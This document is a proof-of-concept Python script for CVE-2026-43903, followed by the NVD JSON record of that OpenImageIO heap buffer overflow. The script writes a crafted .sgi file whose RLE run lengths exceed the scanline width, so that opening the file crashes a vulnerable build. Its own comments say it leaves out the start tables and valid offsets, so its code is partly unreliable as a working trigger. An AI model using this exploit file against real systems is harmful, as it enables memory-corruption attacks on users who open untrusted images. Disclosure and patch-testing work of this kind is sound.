CVE-2026-43903

import struct # PoC for CVE-2026-43903 # Generates a malicious .sgi file to trigger the heap buffer overflow def generate_malicious_sgi(filename): width = 100 height = 100 channels = 3 with open(filename, "wb") as f: # SGI Magic Number (474) f.write(struct.pack(">H", 474)) # Compression: 1 (RLE) f.write(struct.pack(">B", 1)) # BPC: 1 (byte per channel) f.write(struct.pack(">B", 1)) # Dimensions: 3 (x, y, z) f.write(struct.pack(">H", 3)) # Width: 100 f.write(struct.pack(">H", width)) # Height: 100 f.write(struct.pack(">H", height)) # Channels: 3 f.write(struct.pack(">H", channels)) # Padding (Image name is empty, 80 bytes + 404 bytes filler) f.write(b"\x00" * 80) f.write(b"\x00" * 404) # Write Start Tables (simplified for PoC, normally calculated based on data) # We skip writing accurate tables to focus on the RLE data trigger # In a real exploit, offsets must be valid to reach the vulnerable code path # Malicious RLE Data # The vulnerability occurs when RLE count > scanline width # Format: [length, value] malicious_length = width + 50 # Exceeds scanline width value = 0x41 # Write a scanline with excessive length # Note: This is a simplified representation. Actual SGI RLE format # organizes data by channel/row, but the core trigger is the large length value. payload = struct.pack(">B", malicious_length) + struct.pack(">B", value) # Append payload to file # In a realistic scenario, the parser must reach this data stream. f.write(payload * 10) # Repeat to ensure overflow occurs print(f"[+] Malicious SGI file generated: {filename}") print(f"[+] Open this file with a vulnerable OpenImageIO version to trigger the crash.") if __name__ == "__main__": generate_malicious_sgi("crash_exploit.sgi")

{"cve": {"id": "CVE-2026-43903", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:06.077", "lastModified": "2026-05-15T19:42:45.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, sgiinput.cpp:265,274 use OIIO_DASSERT for bounds checking in the RLE decode loop. In release builds, OIIO_DASSERT compiles to ((void)sizeof(x)) (dassert.h:210), making all bounds checks no-ops. A crafted .sgi file with RLE count exceeding scanline width causes heap buffer overflow and crash. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.18.0", "matchCriteriaId": "90B206C1-E7DB-4175-8077-C76D5C8533AF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.4.0", "versionEndExcluding": "3.1.13.0", "matchCriteriaId": "34BBB27F-256F-4D15-A394-158343CB8B4D"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-jg3q-vm3q-2j35", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-jg3q-vm3q-2j35", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}